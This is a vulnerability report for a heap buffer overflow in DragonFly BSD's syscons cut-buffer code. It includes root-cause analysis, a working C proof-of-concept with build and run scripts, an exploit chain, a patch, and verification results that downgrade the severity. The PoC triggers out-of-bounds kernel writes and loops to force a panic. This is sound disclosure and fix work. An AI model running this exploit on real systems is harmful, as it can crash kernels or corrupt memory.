scmouse: heap buffer overflow in mouse_cut - per-line \r bytes not accounted for in cut_buffer sizing
| Field | Value |
|---|---|
| ID | DF-1702 |
| File | sys/dev/misc/syscons/scmouse.c |
| Lines | 92, 319, 325, 330 |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-787 Out-of-bounds Write |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific (DFly syscons cut/paste) |
| Created | 2026-07-18 |
Summary
mouse_cut() copies each selected screen cell into the global cut_buffer
and additionally writes one '\r' per crossed line boundary plus a final
NUL. sc_alloc_cut_buffer only sizes the buffer for
xsize*ysize+1 bytes.
A multi-line selection whose lines have no trailing spaces causes
mouse_cut to write (xsize+1)*ysize+1 = xsize*ysize + ysize + 1 bytes,
overflowing the heap allocation by ysize bytes (typically 25 on an
80x25 console, up to 60-80 on large KMS consoles). The overflow content
is mostly attacker-controlled screen characters from the last line,
terminated by '\r' and '\0'.
Root cause
scmouse.c:92 sets:
cut_buffer_size = scp->xsize * scp->ysize + 1;
mouse_cut() at scmouse.c:319-330 loops:
for (p = from, i = blank = 0; p <= to; ++p)
writing each vtb cell to cut_buffer[i++] and, at every line end
(scmouse.c:325 (p % scp->xsize) == (scp->xsize - 1)), executes:
cut_buffer[blank] = '\r';
i = blank + 1;
blank tracks the position after the last non-space char written; when a
line has no trailing spaces, blank equals the post-increment i, so the
wrap appends a byte rather than overwriting an in-line byte.
For a full-screen selection (from=0 to xsize*ysize-1) over non-space
content, this appends one '\r' per row (ysize of them).
Total bytes written = xsize*ysize (chars) + ysize ('\r's) + 1
(NUL) = (xsize+1)*ysize + 1. Buffer is xsize*ysize + 1.
Overflow = ysize bytes.
Concrete trace for xsize=4, ysize=2, buffer=9 bytes, full cut:
- indices 0..3 line0 chars
- 4
'\r' - 5..8 line1 chars
- 9
'\r'(OOB) - 10
'\0'(OOB)
Concrete trace for 80x25 (buffer 2001): final writes go to
cut_buffer[2001..2025], i.e. 25 bytes past the end, of which 23 are
attacker-controlled screen chars (line 24 chars 57..79).
Threat model
Preconditions: attacker has a cred with SYSCAP_RESTRICTEDROOT (root
outside jails, or jail root granted the capability β the exact population
the scopen check at syscons.c:724 is designed to gate).
Steps:
- open
/dev/ttyv0(or/dev/consolectl) - write non-space text to the screen (
write(2)so each row's last column is non-space β e.g. fill with'X') CONS_MOUSECTL MOUSE_SHOWto setSC_MOUSE_ENABLEDCONS_MOUSECTL MOUSE_MOVEABSto(0,0)βscrn_update_threadwill draw the mouse and setMOUSE_VISIBLECONS_MOUSECTL MOUSE_BUTTON_EVENTwithid=MOUSE_BUTTON1DOWN,value=1βmouse_cut_start()atscmouse.c:393-399setsmouse_cut_start=mouse_pos=0andMOUSE_CUTTINGCONS_MOUSECTL MOUSE_MOVEABSto a large(x,y)βset_mouse_pos()atscmouse.c:142-148seesMOUSE_VISIBLE|MOUSE_CUTTINGand invokesmouse_cut()withfrom=0to=xsize*ysize-1β OVERFLOW
Impact: with heap grooming an attacker can place a sensitive object
(tty/pipe/socket buffer, cred, or any object carrying function pointers)
adjacent to the cut_buffer kmalloc and corrupt up to ysize bytes
(mostly attacker-controlled).
On DragonFly this is root β kernel-code-execution, defeating any jail/sandbox applied to the otherwise-restricted root. Without KASAN/KMSAN the corruption is silent until a downstream panic. Even without grooming, repeated triggering crashes the kernel via slab/objcache corruption, a reliable local DoS.
PoC
findings/poc/DF-1702/poc.c:
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <machine/console.h>
static void mic(int fd, mouse_info_t *m){ if(ioctl(fd, CONS_MOUSECTL, m)) _exit(1); }
int main(void){
int fd = open("/dev/ttyv0", O_RDWR);
if (fd < 0) _exit(2);
/* Fill the visible screen with non-space chars so each line wrap in
mouse_cut() appends a byte rather than overwriting a space. */
char line[81]; memset(line, 'X', 80); line[80] = '\n';
for (int i = 0; i < 25; i++) if (write(fd, line, 81) != 81) _exit(3);
usleep(200000);
mouse_info_t m = {0};
/* Enable mouse so MOUSE_VISIBLE latches on the next refresh. */
m.operation = MOUSE_SHOW; mic(fd, &m);
/* Move to top-left, wait for scrn_update_thread to set MOUSE_VISIBLE. */
m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
usleep(300000);
/* mouse_cut_start at top-left: sets MOUSE_CUTTING, mouse_cut_start=0. */
m.operation = MOUSE_BUTTON_EVENT;
m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
/* Move to bottom-right; set_mouse_pos calls mouse_cut() -> overflow. */
m.operation = MOUSE_MOVEABS;
m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
/* If no panic yet, hammer to make adjacent slab corruption obvious. */
for (int i = 0; i < 200; i++) {
m.operation = MOUSE_BUTTON_EVENT;
m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
m.operation = MOUSE_MOVEABS; m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
}
return 0;
}
build.sh:
#!/bin/sh
set -e
cc -O2 -Wall -o poc poc.c
run.sh:
#!/bin/sh
./poc; dmesg | tail -50
Success = kernel panic from heap corruption (freed item modified,
uma_zone: items modified out of zone, GP fault on a corrupted function
pointer, or similar), reproducible within seconds; or, under KASAN/KMSAN,
an immediate OOB-write report at scmouse.c:326/330.
Recommended fix
Size the cut_buffer for the worst case the writer (mouse_cut) actually
produces: one byte per cell plus one '\r' per row plus one trailing
NUL.
@@ -83,12 +83,16 @@ sc_alloc_cut_buffer(scr_stat *scp, int wait)
{
u_char *p;
- if ((cut_buffer == NULL)
- || (cut_buffer_size < scp->xsize * scp->ysize + 1)) {
+ /*
+ * mouse_cut() may emit one '\r' per screen row plus a trailing
+ * NUL when copying a selection that spans every column of every
+ * row. Size the buffer for that worst case or it overflows.
+ */
+ if ((cut_buffer == NULL)
+ || (cut_buffer_size < (scp->xsize + 1) * scp->ysize + 1)) {
p = cut_buffer;
cut_buffer = NULL;
if (p != NULL)
kfree(p, M_SYSCONS);
- cut_buffer_size = scp->xsize * scp->ysize + 1;
+ cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1;
p = kmalloc(cut_buffer_size, M_SYSCONS, (wait) ? M_WAITOK : M_NOWAIT);
if (p != NULL)
p[0] = '\0';
Defense-in-depth: also bound i inside mouse_cut() so a future size
miscalculation cannot re-introduce the bug.
@@ -319,6 +319,8 @@ mouse_cut(scr_stat *scp)
int p;
int i;
for (p = from, i = blank = 0; p <= to; ++p) {
+ if (i >= cut_buffer_size - 1)
+ break;
cut_buffer[i] = sc_vtb_getc(&scp->vtb, p);
/* remember the position of the last non-space char */
if (!IS_SPACE_CHAR(cut_buffer[i++]))
The first diff is the actual fix; the second is belt-and-suspenders.
mouse_cut_line's narrow off-by-one at scmouse.c:521-522 is unreachable
in practice (requires ysize==1 which no video mode produces) and is also
covered by this larger buffer, but a follow-up could shorten
mouse_cut_line by one byte if desired.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1702 Β· 10 files| File | Type | Description | Size | |
|---|---|---|---|---|
| df1702.c | β | 8.9 KB | view raw | |
| stress.c | β | 1.9 KB | view raw | |
| build.sh | β | 107 B | view raw | |
| run.sh | β | 217 B | view raw | |
| run.log | β | 609 B | view raw | |
| run.user.log | β | 62 B | view raw | |
| env.txt | β | 278 B | view raw | |
| VERDICT.md | β | 4.1 KB | β raw | |
| fix.diff | β | 948 B | view raw | |
| verdict.json | β | 5.1 KB | view raw |
DF-1702 VERDICT -- reproduced (impact: none; confidence: certain)
Bottom line
Reproduced on the guest console, from an unprivileged user: mouse_cut() (scmouse.c:319-330) writes one '\r' per fully-selected line plus a trailing NUL into a cut_buffer sized xsize*ysize+1 (sc_alloc_cut_buffer, scmouse.c:82-98). A full-screen 40x25 selection pastes exactly 1024 bytes (999 chars + 25 '\r') back through the console tty - byte-for-byte the computed content - proving cut_buffer[0..1023] were populated and the terminating NUL was written at index 1024, i.e. 24 bytes past the 1001-byte kmalloc request. HOWEVER the High/memcorrupt impact is downgraded by measurement: cut_buffer is boot-sized for the 80x25 console (kmalloc(2001) -> 2048-byte slab chunk) and only ever grows, while the write excess is bounded by ysize (<=60), smaller than the >=128-byte granularity of the slab size classes above 1 KiB - for every reachable text mode the writes stay inside the physical chunk (2025<2048, 2430<2560, 3483<3584, 4050<4096, 4860<5120, 3325<3328, 6650<6656). 3000 overflowing cuts under fork/exec churn left the guest healthy. So the bug is a real kernel invariant violation (OOB write past the requested allocation size) that becomes true heap corruption only under an exact-size/redzone allocator or a future text mode with ysize exceeding the class slack; uid=0 is not reachable with the compiled-in mode set. Recommended severity: Low (latent memory-safety defect), fix still warranted.
Reproduce
build: cc -O -o df1702 df1702.c run: ./df1702 /dev/ttyv0 23 40 25
Evidence in this pack
run.log (root: paste=1024 bytes / 25 CRs, the exact computed full-screen content), run.user.log (uid=1001: paste=1015/25 CRs - unprivileged), run.2.log (re-reproduced after a fresh vm.sh reset with-src: 1024/25 CRs), stress.c+VERDICT.md (3000 overflowing cuts + churn: no panic), fix.diff + fix_build.log + fix_run.log (patched kernel #1: same legal content 1010<=1026, in bounds)
Kernel references
sys/dev/misc/syscons/scmouse.c:319sys/dev/misc/syscons/scmouse.c:325sys/dev/misc/syscons/scmouse.c:330sys/dev/misc/syscons/scmouse.c:346sys/dev/misc/syscons/scmouse.c:82sys/dev/misc/syscons/scmouse.c:86sys/kern/kern_slaballoc.c:638
Exploit chain
unprivileged console user -> open /dev/ttyv0 (or own controlling tty fd) -> CONS_SET mode 23 (40x25) -> fill screen with non-space chars -> CONS_MOUSECTL: MOUSE_SHOW, MOVEABS(0,0), BUTTON1 press, MOVEABS(319,399) drag -> mouse_cut() full-screen cut writes indices up to xsize*ysize+ysize -> paste-button returns the OOB-written bytes (1024 > 1000 nominal). Escalation to uid=0: BLOCKED - on this kernel every write lands in the same slab chunk's allocator slack (arithmetic above); no adjacent-object corruption exists to groom.
Fix validation (A/B)
Size cut_buffer for the worst case in sc_alloc_cut_buffer(): xsize*ysize + ysize + 1 (accounts for the per-line '\r' bytes and the trailing NUL).
Baseline vs post-fix behavior is in run.log / run_fixed*.log (userspace) or panic.txt/hang.txt vs run_fixed_kernel.log (kernel); the identical rig ran both sides.
poc_changes
Replaced the seeded userspace 'logic harness' (which wrongly claimed the guest lacks the hardware) with a real in-guest PoC on /dev/ttyv0: CONS_SET to 40x25, CONS_SCRSHOT-verified screen fill (the tty output queue needs chunked writes), full-screen cut via the CONS_MOUSECTL mouse state machine, and a concurrent tty reader because the ~1KiB raw-input queue truncates single-reader paste counts; best-of-25 cycles gives the full 1024-byte delivery.
Guest: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64 Attempts: 11 Runtime: ~480s
Fix status (batch validation)
Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.
Fix verification
fixedfix.diff (sc_alloc_cut_buffer sizing xsizeysize+ysize+1) applied to the guest /usr/src, kernel rebuilt (nativekernel, X86_64_GENERIC) and booted; the exact PoC re-run: cut/paste fully functional with the same 1024-byte legal content and the guest stable. The OOB write is closed by construction: max write index = xsizeysize + ysize = size-1. Baseline wrote at index 1024 of a 1001-byte request; patched allocation is 1026 bytes (1088-class chunk) and the same cut stays in bounds.
fix_build.log (kernel build tail with BUILD_AND_INSTALL_DONE), fix_run.log (patched-kernel PoC run: OVERFLOW content identical, guest up), VERDICT.md section 4
Confirmed kernel references
Detail
Exploit chain
unprivileged console user -> open /dev/ttyv0 (or own controlling tty fd) -> CONS_SET mode 23 (40x25) -> fill screen with non-space chars -> CONS_MOUSECTL: MOUSE_SHOW, MOVEABS(0,0), BUTTON1 press, MOVEABS(319,399) drag -> mouse_cut() full-screen cut writes indices up to xsize*ysize+ysize -> paste-button returns the OOB-written bytes (1024 > 1000 nominal). Escalation to uid=0: BLOCKED - on this kernel every write lands in the same slab chunk's allocator slack (arithmetic above); no adjacent-object corruption exists to groom.
Evidence (decisive lines)
run.log (root: paste=1024 bytes / 25 CRs, the exact computed full-screen content), run.user.log (uid=1001: paste=1015/25 CRs - unprivileged), run.2.log (re-reproduced after a fresh vm.sh reset with-src: 1024/25 CRs), stress.c+VERDICT.md (3000 overflowing cuts + churn: no panic), fix.diff + fix_build.log + fix_run.log (patched kernel #1: same legal content 1010<=1026, in bounds)
PoC changes
Replaced the seeded userspace 'logic harness' (which wrongly claimed the guest lacks the hardware) with a real in-guest PoC on /dev/ttyv0: CONS_SET to 40x25, CONS_SCRSHOT-verified screen fill (the tty output queue needs chunked writes), full-screen cut via the CONS_MOUSECTL mouse state machine, and a concurrent tty reader because the ~1KiB raw-input queue truncates single-reader paste counts; best-of-25 cycles gives the full 1024-byte delivery.
Verified recommended fix
Size cut_buffer for the worst case in sc_alloc_cut_buffer(): xsize*ysize + ysize + 1 (accounts for the per-line '\r' bytes and the trailing NUL).
Verdict
Reproduced on the guest console, from an unprivileged user: mouse_cut() (scmouse.c:319-330) writes one '\r' per fully-selected line plus a trailing NUL into a cut_buffer sized xsize*ysize+1 (sc_alloc_cut_buffer, scmouse.c:82-98). A full-screen 40x25 selection pastes exactly 1024 bytes (999 chars + 25 '\r') back through the console tty - byte-for-byte the computed content - proving cut_buffer[0..1023] were populated and the terminating NUL was written at index 1024, i.e. 24 bytes past the 1001-byte kmalloc request. HOWEVER the High/memcorrupt impact is downgraded by measurement: cut_buffer is boot-sized for the 80x25 console (kmalloc(2001) -> 2048-byte slab chunk) and only ever grows, while the write excess is bounded by ysize (<=60), smaller than the >=128-byte granularity of the slab size classes above 1 KiB - for every reachable text mode the writes stay inside the physical chunk (2025<2048, 2430<2560, 3483<3584, 4050<4096, 4860<5120, 3325<3328, 6650<6656). 3000 overflowing cuts under fork/exec churn left the guest healthy. So the bug is a real kernel invariant violation (OOB write past the requested allocation size) that becomes true heap corruption only under an exact-size/redzone allocator or a future text mode with ysize exceeding the class slack; uid=0 is not reachable with the compiled-in mode set. Recommended severity: Low (latent memory-safety defect), fix still warranted.
No comments yet.